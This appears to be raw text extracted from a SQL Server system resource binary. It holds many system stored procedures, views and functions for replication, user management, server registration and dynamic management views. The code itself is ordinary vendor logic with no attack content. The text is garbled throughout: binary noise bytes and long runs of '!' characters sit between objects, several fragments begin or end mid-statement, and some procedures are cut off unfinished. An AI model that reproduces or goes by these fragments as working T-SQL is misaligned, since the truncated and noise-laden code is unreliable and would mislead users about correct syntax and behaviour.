	end

	else if (@relational_operator = N'smallest greater than or equal')
	begin
		select @lsn = min(start_lsn)
		from [cdc].[lsn_time_mapping]
		where tran_end_time >= @tracking_time
	end
	return @lsn										
end												
uotename( @newname , '[')

	EXEC (@execstring)

	if @@error <>  0
	begin
		-- No need to raiserror as the CREATE DATABASE will do so
		return(1)
	end

	return (0) -- sp_renamedb
0cF 8CREATE VIEW sys.fulltext_semantic_languages AS
	SELECT lcid, name 
	FROM OpenRowSet(TABLE SYSSEMANTICLANGUAGES)
03 @ 8create procedure sys.sp_MS_marksystemobjectwitherror(
    @objectname nvarchar(517)
    )
as
begin
    set nocount on
    declare @retcode int
    select @retcode = 0

    exec @retcode = dbo.sp_MS_marksystemobject @objectname

    if @@error<>0 set @retcode = 1
        
    if @retcode <> 0
        raiserror(21755, 16, 1, @objectname)

    return @retcode
end
0$G q8--
-- Name: sp_MSgettools_path
--
-- Descriptions: 
--
-- Parameters: as defined in create statement
--
-- Returns: 0 - success
--          1 - Otherwise
--
-- Security: 
-- Requires Certificate signature for catalog access
--
create procedure sys.sp_MSgettools_path ( @install_path NVARCHAR(260) OUTPUT )
AS
BEGIN
    
    DECLARE @retcode INTEGER
    DECLARE @regkey NVARCHAR(260)

    SET NOCOUNT ON 
    
    SELECT @regkey = sys.fn_replgetsqlserverregkey() collate database_default + N'Tools\ClientSetup'

    EXECUTE @retcode = master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', 
        @regkey,
        'SQLPath',
        @param = @install_path OUTPUT

    IF ( @retcode <> 0 ) or ( @@ERROR <> 0 ) or ( @install_path IS NULL ) or ( @install_path = '' )
    BEGIN
        RETURN (1)
    END

    RETURN (0)

END
0 D8+h30: h8Q[h>8^}!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
@X`V<0&m0J 8CREATE FUNCTION sys.dm_exec_plan_attributes(@handle varbinary(64))
RETURNS TABLE
AS
	RETURN SELECT * FROM OPENROWSET(TABLE FNGETPLANATTRIBS, @handle)
0 l8
create procedure sys.sp_columns_100_rowset2
(
    @table_schema   sysname = NULL,
    @column_name    sysname = NULL
)
as
    select
        TABLE_CATALOG           = s_cv.TABLE_CATALOG,
        TABLE_SCHEMA            = s_cv.TABLE_SCHEMA,
        TABLE_NAME              = s_cv.TABLE_NAME,
        COLUMN_NAME             = s_cv.COLUMN_NAME,
        COLUMN_GUID             = s_cv.COLUMN_GUID,
        COLUMN_PROPID           = s_cv.COLUMN_PROPID,
        ORDINAL_POSITION        = s_cv.ORDINAL_POSITION,
        COLUMN_HASDEFAULT       = s_cv.COLUMN_HASDEFAULT,
        COLUMN_DEFAULT          = s_cv.COLUMN_DEFAULT,
        COLUMN_FLAGS            = s_cv.COLUMN_FLAGS,
        IS_NULLABLE             = s_cv.IS_NULLABLE,
        DATA_TYPE               = s_cv.DATA_TYPE, -- Used by Katmai+ clients
        TYPE_GUID               = s_cv.TYPE_GUID,
        CHARACTER_MAXIMUM_LENGTH= s_cv.CHARACTER_MAXIMUM_LENGTH,
        CHARACTER_OCTET_LENGTH  = s_cv.CHARACTER_OCTET_LENGTH,
        NUMERIC_PRECISION       = s_cv.NUMERIC_PRECISION,
        NUMERIC_SCALE           = s_cv.NUMERIC_SCALE,
        DATETIME_PRECISION      = s_cv.DATETIME_PRECISION,
        CHARACTER_SET_CATALOG   = s_cv.CHARACTER_SET_CATALOG,
        CHARACTER_SET_SCHEMA    = s_cv.CHARACTER_SET_SCHEMA,
        CHARACTER_SET_NAME      = s_cv.CHARACTER_SET_NAME,
        COLLATION_CATALOG       = s_cv.COLLATION_CATALOG,
        COLLATION_SCHEMA        = s_cv.COLLATION_SCHEMA,
        COLLATION_NAME          = s_cv.COLLATION_NAME,
        DOMAIN_CATALOG          = s_cv.DOMAIN_CATALOG,
        DOMAIN_SCHEMA           = s_cv.DOMAIN_SCHEMA,
        DOMAIN_NAME             = s_cv.DOMAIN_NAME,
        DESCRIPTION             = s_cv.DESCRIPTION,
        COLUMN_LCID             = s_cv.COLUMN_LCID,
        COLUMN_COMPFLAGS        = s_cv.COLUMN_COMPFLAGS,
        COLUMN_SORTID           = s_cv.COLUMN_SORTID,
        COLUMN_TDSCOLLATION     = s_cv.COLUMN_TDSCOLLATION,
        IS_COMPUTED             = s_cv.IS_COMPUTED,
        SS_XML_SCHEMACOLLECTION_CATALOGNAME = s_cv.SS_XML_SCHEMACOLLECTION_CATALOGNAME,
        SS_XML_SCHEMACOLLECTION_SCHEMANAME  = s_cv.SS_XML_SCHEMACOLLECTION_SCHEMANAME,
        SS_XML_SCHEMACOLLECTIONNAME         = s_cv.SS_XML_SCHEMACOLLECTIONNAME,
        SS_UDT_CATALOGNAME      = s_cv.SS_UDT_CATALOGNAME,
        SS_UDT_SCHEMANAME       = s_cv.SS_UDT_SCHEMANAME,
        SS_UDT_NAME             = s_cv.SS_UDT_NAME,
        SS_UDT_ASSEMBLY_TYPENAME= s_cv.SS_UDT_ASSEMBLY_TYPENAME,
        SS_IS_SPARSE            = s_cv.SS_IS_SPARSE,
        SS_IS_COLUMN_SET        = s_cv.SS_IS_COLUMN_SET

    from
        sys.spt_columns_view s_cv

    where
        (@table_schema is null or schema_id(@table_schema) = s_cv.schema_id) and -- check schema
        (@column_name = s_cv.COLUMN_NAME or @column_name is null) 

    order by 1, 2, 3, 7
0c@ w8CREATE VIEW sys.dm_xe_packages AS
	SELECT *
	FROM OpenRowset(TABLE DM_XE_PACKAGES) 
0@ V8
create procedure sys.sp_dropsubscriber
(
	@subscriber			sysname,
	@reserved			nvarchar(50) = NULL,
	@ignore_distributor	bit = 0,
	@publisher			sysname = NULL
)
AS
BEGIN
	DECLARE @cmd		nvarchar(4000)
	DECLARE @retcode	int

	SET @retcode = 0
	
	-- Security Check: require sysadmin
	IF (ISNULL(IS_SRVROLEMEMBER('sysadmin'),0) = 0)
	BEGIN
		RAISERROR(21089,16,-1) 
		RETURN (1)
	END
	
	EXEC @retcode = sys.sp_MSrepl_getpublisherinfo	@publisher		= @publisher,
													@rpcheader		= @cmd OUTPUT
	
	IF @retcode <> 0
		RETURN (@retcode)

	-- Add sp
	SET @publisher = UPPER(@publisher) COLLATE DATABASE_DEFAULT
	set @cmd = @cmd + N'sys.sp_MSrepl_dropsubscriber'

	EXEC @retcode = @cmd
					@subscriber,
					@reserved,
					@ignore_distributor,
					@publisher

	RETURN (@retcode)
END
0]r@ D8create procedure sys.sp_script_reconciliation_delproc 
(
    @artid int
    ,@publishertype tinyint=1        -- 1 = mssqlserver, 2 = heterogeneous
    ,@publisher sysname=NULL		 -- May only be non-NULL if @publishertype = 2
)
as
begin
    declare @retcode int
    --
    -- security check
    --
    exec @retcode = sys.sp_MSreplcheck_publish
    if @@error <> 0 or @retcode <> 0
    begin
        return (1)
    end
    --
    -- call core function
    --
    exec @retcode = sys.sp_scriptdelproccore 
                @artid = @artid
                ,@format = 1            -- CALL format
                ,@mode = 2              -- snapshot reconciliation mode
                ,@publishertype = @publishertype
                ,@publisher = @publisher
    return @retcode
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!S`/
<eL)0;d@ 8
-- add it
create view sys.dm_pdw_sql_requests as
select
	request_id	collate database_default request_id,
	step_index,
	pdw_node_id,
	distribution_id,
	status	collate database_default status,
	error_id	collate database_default error_id,
	start_time,
	end_time,
	total_elapsed_time,
	row_count,
	spid,
	command	collate database_default command
from sys._dm_pdw_sql_requests
03l ]8create procedure sys.sp_revoke_publication_access
(
	@publication	sysname,
	@login			sysname,
	@publisher		sysname = NULL
)
AS
BEGIN
    set nocount on
    
    -- This stored procedure can be called repeatedly.
    DECLARE @distribdb		sysname,
                @distproc		nvarchar (300),
                @retcode		int,
                @dist_rpcname	sysname,
                @database		sysname,
                @publisher_type	sysname,
                @loc_publisher	sysname,
                @role 			sysname,
                @pubid 			uniqueidentifier,
                @pubidtran 		int,
                @pubidstr 		nvarchar(40),
                @user 			sysname

    -- Security Check
    exec @retcode = sys.sp_MSreplcheck_publish
    if @@ERROR <> 0 or @retcode <> 0
        return(1)

    -- Set publisher name if not supplied
    select @loc_publisher = case when (@publisher is null) then publishingservername() 
                                                else @publisher end

    -- Get publisher info
    EXEC @retcode = sys.sp_MSrepl_getdistributorinfo	@publisher		= @loc_publisher,
														@rpcsrvname		= @dist_rpcname   OUTPUT,
														@distribdb		= @distribdb      OUTPUT,
														@publisher_type	= @publisher_type OUTPUT
    IF @@error <> 0
    BEGIN
         RAISERROR (14071, 16, -1)
         return (1)
    END

    IF @retcode <> 0 OR @distribdb IS NULL OR @dist_rpcname IS NULL
    BEGIN
        RAISERROR (14071, 16, -1)
        return(1)
    END

    -- Restrict specification of publisher to HREPL only
    IF @publisher_type = N'MSSQLSERVER' AND @publisher IS NOT NULL
    BEGIN
        RAISERROR(21606, 16, -1, '@publisher', 'NULL')
        RETURN (1)
    END

    -- Set db context to distributor if HREPL
    select @database = case when (@publisher_type = N'MSSQLSERVER') then db_name() else @distribdb end

    -- remove the user from the PAL role in the publishing database
    -- added for role based security
    if object_id('sysmergepublications') is not NULL
    begin
        select @pubid = pubid from dbo.sysmergepublications where name = @publication and UPPER(publisher) = UPPER(@loc_publisher) collate database_default and publisher_db = db_name()
        if (@pubid is not null)
        begin
            select @role = sys.fn_MSmerge_GetPALRole(@pubid)

            if exists (select * from sys.database_principals where name=@role and type = 'R')
            begin
                select @user = name from sys.database_principals where sid = suser_sid(@login, 0) and name <> 'dbo'
                if @user is not NULL
                begin
                    exec @retcode = sp_droprolemember @role, @user
                    if (@retcode <> 0 or @@error <> 0)
                        return 1
                    exec @retcode = sys.sp_MSrevokeconnectreplication @loc_publisher, @database, @login, @user
                    if (@retcode <> 0 or @@error <> 0)
                        return 1
                end
            end
        end
    end
    if object_id('syspublications') is not NULL
    begin
        if (@publisher_type = N'MSSQLSERVER')
            select @pubidtran = pubid from dbo.syspublications where name = @publication
        else
            select @pubidtran = pubid from sys.fn_IHgetpubid(@publication, @loc_publisher, @publisher_type)
        if (@pubidtran is not null)
        begin
            select @role = N'MSReplPAL_' + cast(db_id() as nvarchar(10)) + N'_' + cast(@pubidtran as nvarchar(10))

            if exists (select * from sys.database_principals where name=@role and type = 'R')
            begin
                select @user = name from sys.database_principals where sid = suser_sid(@login, 0) and name <> 'dbo'
                if @user is not NULL
                begin
                    exec @retcode = sp_droprolemember @role, @user
                    if (@retcode <> 0 or @@error <> 0)
                        return 1                        
                    exec @retcode = sys.sp_MSrevokeconnectreplication @loc_publisher, @database, @login, @user
                    if (@retcode <> 0 or @@error <> 0)
                        return 1
                end
            end
        end
    end

    -- Do check existense when dropping since the login might be dropped
    -- outside replication already.
    SELECT @distproc = QUOTENAME(RTRIM(@dist_rpcname)) + '.' + QUOTENAME(RTRIM(@distribdb)) + '.sys.sp_MSpublication_access'

    EXEC @retcode = @distproc
                    @publisher  = @loc_publisher,
                    @publisher_db = @database,
                    @publication = @publication,
                    @login   = @login,
                    @operation  = 'drop'

    IF @@error <> 0 OR @retcode <> 0
        return (1)
    --
    -- all done
    --
END
0mi@ 	8create procedure sys.sp_MSsetup_use_partition_groups @publication sysname
as
    declare @use_partition_groups smallint
            , @dynamic_filters bit
            , @dynamic_filters_function_list nvarchar(500)
            , @retcode int
            , @pubid uniqueidentifier
                
    exec @retcode = sys.sp_MSreplcheck_publish
    if @retcode<>0 or @@ERROR<>0
        return 1

    select @pubid = pubid, 
    @use_partition_groups = use_partition_groups, 
    @dynamic_filters = dynamic_filters, 
    @dynamic_filters_function_list = dynamic_filters_function_list
    from dbo.sysmergepublications 
    where name = @publication and UPPER(publisher)=UPPER(publishingservername()) and publisher_db=db_name()

    if @pubid is null
    begin
        raiserror(20026, 16, -1, @publication)
        return (1)
    end

    begin tran
    save transaction setup_partition_groups_table
    if (@use_partition_groups = 2)
    begin
        if (@dynamic_filters = 1 and @dynamic_filters_function_list is not null and @dynamic_filters_function_list <> ' ')
            or (@dynamic_filters = 0)
        begin
            
            -- dynamically filtered and we have the dynamic filters function list.
            -- or
            -- statically-filtered

            update dbo.sysmergepublications 
            set use_partition_groups = 1
            where pubid = @pubid
            and use_partition_groups = 2
            
            -- First make sure the appropriate columns are added to MSmergepartition_groups
            exec @retcode = sys.sp_MSsetup_partition_groups_table @pubid

            if @retcode <> 0 or @@error <> 0
            begin 
                goto UNDO
            end
        end
    end
    else if (@use_partition_groups = -1)
    begin
        
        exec @retcode = sys.sp_MSdisable_use_partition_groups @pubid
        if @retcode <> 0 or @@error <> 0
        begin
            goto UNDO
        end
    end
    else if (@dynamic_filters = 1 and @use_partition_groups = 0)
    begin
        exec @retcode = sys.sp_MSsetup_partition_groups_table @pubid
        if @retcode <> 0 or @@error <> 0
        begin 
            goto UNDO
        end
    end
    commit transaction

    return 0

UNDO:
    rollback transaction setup_partition_groups_table
    commit transaction

    return 1
 + N'C'        
        else
            select @replaced_filename = @replaced_filename + @curr_char

        select @curr_char_index = @curr_char_index + 1 
    end
    return @replaced_filename
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!7ic`s<Gu{%]0-' 
8create procedure sys.sp_grantdbaccess
	@loginame       sysname,
	@name_in_db     sysname = NULL OUT
as
    -- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
	set nocount on
	declare @ret        int,    -- return value of sp call
            @sid        varbinary(85),
			@iswin		bit,
			@isgrp		bit,
			@stmtU		nvarchar(4000),
			@stmtS		nvarchar(4000)
			
    if @name_in_db is null
        select @name_in_db = @loginame

    -- CHECK PERMISSIONS (Shiloh Check) --
    if (not is_member('db_accessadmin') = 1) and
       	(not is_member('db_owner') = 1)
    begin
    	dbcc auditevent (109, 1, 0, @loginame, @name_in_db, NULL, NULL, NULL, NULL, NULL)
    	raiserror(15247,-1,-1)
    	return (1)
    end

    -- DISALLOW USER TRANSACTION --
	set implicit_transactions off
	IF (@@trancount > 0)
	begin
		raiserror(15002,-1,-1,'sys.sp_grantdbaccess')
		return (1)
	end

	exec @ret = sys.sp_validname @name_in_db
	if @ret <> 0
		return(1)

	-- IS IT A WINDOWS ACCOUNT?
    select @iswin = case when (charindex('\', @loginame) <> 0) then 1 else 0 end
	select @isgrp = 0

	-- IS IT A WINDOWS GROUP?
    if @iswin = 1
    begin
		select @sid = get_sid('\G'+@loginame)     -- nt group?
		if @sid is not null
			select @isgrp = 1	-- nt group
	end

	-- Form Create User statement
	select @stmtU = 'CREATE USER '
	select @stmtU = @stmtU + quotename(@name_in_db, ']')
	select @stmtU = @stmtU + ' FOR LOGIN '
	select @stmtU = @stmtU + quotename(@loginame, ']')
	if @isgrp = 0
	begin
		select @stmtU = @stmtU + ' WITH DEFAULT_SCHEMA = '
		select @stmtU = @stmtU + quotename(@name_in_db, ']')
	end

	-- Form Create Schema statement
	select @stmtS = 'CREATE SCHEMA '
	select @stmtS = @stmtS + quotename(@name_in_db, ']')
	select @stmtS = @stmtS + ' AUTHORIZATION '
	select @stmtS = @stmtS + quotename(@name_in_db, ']')
	
	BEGIN TRANSACTION
	
	-- create the owner
	exec (@stmtU)
	if @@error <> 0
	begin
		ROLLBACK TRANSACTION
		return (1)
	end
	
	-- create the Schema if one does not already exist with the same name and owner
	declare @schema_uid int
	declare @owner_uid  int
	select @owner_uid  = principal_id from sys.database_principals where name = @name_in_db
	select @schema_uid = principal_id from sys.schemas where name = @name_in_db
	if (@schema_uid is null or		-- there is no schema since if there is one, it will have an owner
		@schema_uid <> @owner_uid)  -- for error message
	begin
		exec (@stmtS)
		if @@error <> 0
		begin
			ROLLBACK TRANSACTION
			return (1)
		end
	end
	
	COMMIT TRANSACTION

    -- RETURN SUCCESS STATUS --
    return (0)	-- sp_grantdbaccess
04 8create procedure sys.sp_helpsort
AS
	set nocount on

	-- Now display the server default collation name
	declare @servercollation sysname
	select @servercollation = convert(sysname, serverproperty('collation'))

	if @servercollation is not NULL
	begin
		select 'Server default collation' = description
			from sys.fn_helpcollations() C
			where @servercollation = C.name
	end

	set nocount off
	return(0) -- sp_helpsort
0L= `8
--
-- Name:
--      fn_MSrepl_ispublished
--
-- Description:
--  Function to determine if a database is published for 
--      transactional (regular or heterogenous) or merge.
--
-- Returns:
--  0 == FALSE
--  1 == TRUE
--
-- Security:
--  public
--
-- Notes:
--  Includes logic to determine if a db is being published
--
CREATE FUNCTION sys.fn_MSrepl_ispublished
(
    @db_name sysname
)
RETURNS BIT
AS
BEGIN
    DECLARE @fpublished bit
                ,@category int

    SELECT   @fpublished = 0
                ,@category = category
    FROM master.sys.sysdatabases
    WHERE name = @db_name 

    IF (@category IS NOT NULL)
    BEGIN
        --
        -- Check if this database is a transactional or merge publisher
        --
        IF (@category & 1 = 1) OR (@category & 4 = 4)
            SELECT @fpublished = 1
        --
        -- We have entry for this db_name in sysdatabases
        -- Is this database a distributor?
        --
        ELSE IF ((@category & 16 = 16) AND OBJECT_ID(N'msdb.dbo.MSdistpublishers', 'U') IS NOT NULL)
        BEGIN
            -- DB is a distributor - is it used for HREPL publisher?
            IF EXISTS
            (
                SELECT name
                FROM msdb.dbo.MSdistpublishers
                WHERE distribution_db = @db_name 
                    AND publisher_type != N'MSSQLSERVER'
            )
            BEGIN
                SELECT @fpublished = 1
            END
        END
    END -- @category not null
    --
    -- all done
    --
    RETURN @fpublished
END
0A 	8create procedure sys.sp_MScdc_tranrepl_check
@logreader_exists bit  = 0 output
,@skip_remote_check bit = 0
as
begin
	--
	-- If transactional replication is enabled on this db and there is an active publication (logreader agent exists)
	-- return an error to indicate the capture job should not be run.
	--
	if exists (select * from sys.databases where database_id = db_id() and is_published = 1)
	begin
		--syspublications should exists if db is published, but validate it anyway just to be safe
		if object_id('syspublications') is not null
		begin 
			--there's at least active tran publication
			if exists (select * from syspublications where status = 1 and repl_freq = 0)
			begin
				set @logreader_exists = 1
				if(@skip_remote_check = 0)
				begin
					RAISERROR(22911, 16, -1)
					return (1)
				end
				return (0)
			end
			if(@skip_remote_check = 1)
				return (0)
			--if there's no active tran publication, let's make sure there isn't a logreader being manually added by user.
			declare @retcode INT
						,@distributor sysname
						,@distribdb sysname
						,@publisher sysname
						,@publisher_db sysname
						,@distproc nvarchar(1000)
			select @publisher = publishingservername()
					,@publisher_db = db_name()
			EXEC @retcode = sys.sp_MSrepl_getdistributorinfo @publisher = @publisher,
			                                                                @rpcsrvname = @distributor OUTPUT,
			                                                                @distribdb = @distribdb OUTPUT
			--can not let this go silently, user may shut down distributor, and add cdc job otherwise			                                                                
			IF @@error <> 0 OR @retcode <> 0 or @distribdb IS NULL OR @distributor IS NULL
			BEGIN
				RAISERROR (22804, 16, -1)
				RETURN (1)
			END
			SELECT @distproc =  QUOTENAME(RTRIM(@distributor)) + N'.' + QUOTENAME(@distribdb) + N'.sys.sp_MSreplagentjobexists'
			EXEC @retcode = @distproc @exists = @logreader_exists output,
			                            @type = 2,
			                            @publisher = @publisher,
			                            @publisher_db = @publisher_db
			IF @@ERROR <> 0 or @retcode <> 0
			BEGIN
					RAISERROR (22804, 16, -1)
					RETURN (1)
			END
			if(@logreader_exists = 1)
			begin
				if(@skip_remote_check = 0)
				begin
					RAISERROR(22911, 16, -1)
					return (1)
				end
				return (0)
			end
		end				
	end

    return(0)
end
s.sp_MSreseed
        @objid = @objid,
        @next_seed = @next_seed,
        @range = @range,
        @is_publisher = -1
    IF @@ERROR <> 0 OR @retcode <> 0
        return 1
0a@ D8Ih8!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
`h<(08c 8
CREATE FUNCTION sys.dm_exec_cached_plan_dependent_objects(@planhandle varbinary(64))
RETURNS TABLE
AS
	RETURN SELECT * FROM OPENROWSET(TABLE SYSDMEXECCACHEDPLANDEPENDENTOBJECTS, @planhandle)
0r@ S
8create procedure sys.sp_addserver
	@server			sysname,			-- server name
	@local			varchar(10) = NULL,	-- NULL or 'local'
	@duplicate_ok	varchar(13) = NULL	-- NULL or 'duplicate_ok'
as
	-- VARS
	DECLARE @localentry	bit,
			@dup_ok		bit,
			@retcode	int
	select @duplicate_ok = LOWER (@duplicate_ok collate Latin1_General_CI_AS)

	-- VALIDATE PARAMETERS/OPTIONS
	SELECT	@localentry = CASE WHEN @local IS NULL THEN 0
						WHEN lower(@local) = 'local' THEN 1
						ELSE NULL END,
			@dup_ok = CASE WHEN @duplicate_ok IS NULL THEN 0
						WHEN @duplicate_ok = 'duplicate_ok' THEN 1
						ELSE NULL END
	IF @localentry IS NULL OR @dup_ok IS NULL
	BEGIN
		raiserror(15600,-1,-1,'sys.sp_addserver')
		return (1)
	END

	-- DISALLOW USER TRANSACTION
	set implicit_transactions off
	if @@trancount > 0
	begin
		raiserror(15002,-1,-1,'sys.sp_addlinkedserver')
		return (1)
	end

	BEGIN TRANSACTION

	-- ADD THE SERVER (CHECKS PERMISSIONS, ETC)
	EXEC @retcode = sys.sp_MSaddserver_internal @server,
				NULL, NULL, NULL, NULL, NULL, NULL, -- @srvproduct ... @catalog
				0,			-- @linkedstyle
				@localentry

	if( @retcode = 0)
	begin
		if (@localentry = 1)
		begin
			-- EMDEventType(x_eet_Alter_Instance), EMDUniversalClass(x_eunc_Server), src major id, src minor id, src name
			-- -1 means ignore target stuff, target major id, target minor id, target name,
			-- # of parameters, 5 parameters
			EXEC %%System().FireTrigger(ID = 214, ID = 100, ID = 0, ID = 0, Value = NULL,
				ID = -1, ID = 0, ID = 0, Value = NULL, 
				ID = 3, Value = @server, Value = @local, Value = @duplicate_ok, Value = NULL, Value = NULL, Value = NULL, Value = NULL)
		end
		else
		begin
			-- EMDEventType(x_eet_Create_Remote_Server), EMDUniversalClass(x_eunc_Server), src major id, src minor id, src name
			-- -1 means ignore target stuff, target major id, target minor id, target name,
			-- # of parameters, 5 parameters
			EXEC %%System().FireTrigger(ID = 230, ID = 100, ID = 0, ID = 0, Value = @server,
				ID = -1, ID = 0, ID = 0, Value = NULL, 
				ID = 3, Value = @server, Value = @local, Value = @duplicate_ok, Value = NULL, Value = NULL, Value = NULL, Value = NULL)
		end

		COMMIT TRANSACTION
		-- SUCCESS
		return (0) -- sp_addserver
	end
	else if( @retcode = 2 )
	begin
		ROLLBACK

		if @dup_ok = 1
			return (0)
		else
			begin
				raiserror(15028,-1,-1,@server);
				return (1);
			end;
	end
	else if( @retcode = 3 )
	begin
		ROLLBACK

		raiserror(28401,16,20,'sp_addserver');
		return (1)
	end
	else 
	begin
		ROLLBACK
		return (1)
	end
06?@ h8CREATE VIEW sys.openkeys AS
	SELECT * FROM OpenRowset(TABLE OPENKEYS)
0緰@ ~8CREATE VIEW sys.dm_os_memory_allocations AS
	SELECT *
	FROM OpenRowSet(TABLE SYSMEMALLOCS)
0$ D8yh
:(0@ 8create procedure sys.sp_MSexecwithlsnoutput
(
	@command	nvarchar(max),
	@xact_seqno	varbinary(16) output
)
as
begin
	declare @retcode int

	select @xact_seqno = 0x0
	
	-- security check for subscriber
	-- Though the work below is related to a publisher, we use 
	-- a check for the subscriber because this is normally executed
	-- by the distribution agent at a subscriber (republisher).
	-- this should only be used by peer to peer subscribers.
	exec @retcode = sys.sp_MSreplcheck_subscribe 
    if @@error <> 0 or @retcode <> 0 
    begin
        return 1
    end

	begin transaction tran_sp_MSexecwithlsnoutput
	save transaction tran_sp_MSexecwithlsnoutput

	exec(@command)
	if @@error <> 0
    begin
        goto FAILURE
    end

    -- if this is not a republisher we will get an error. this is expected
    -- since we should never be calling this on a non-publisher database.
	exec @retcode = sys.sp_replincrementlsn @xact_seqno = @xact_seqno output
	if @@error <> 0 or @retcode <> 0 
	begin
		goto FAILURE
	end

	commit transaction tran_sp_MSexecwithlsnoutput
	
    return 0
FAILURE:
	rollback transaction tran_sp_MSexecwithlsnoutput
	commit transaction

	return 1
end
0v$f@ 8create procedure sys.sp_MSpeerconflictdetection_topology_sendrequest(
	@request_id	int,
	@publication	sysname
)
as
begin
	declare 	@sendresponsecmdtxt nvarchar(max)
			,@srv_name sysname
			,@dbname sysname

	select	@srv_name = publishingservername()
			,@dbname = db_name()
	
	exec sp_MSscriptpeerconflictdetection_topology_sendresponse @request_id = @request_id, @publication = @publication,
									@originator_node = @srv_name, @orginator_db = @dbname, @cmdtxt = @sendresponsecmdtxt output

	-- forward and proxy the command to send a response
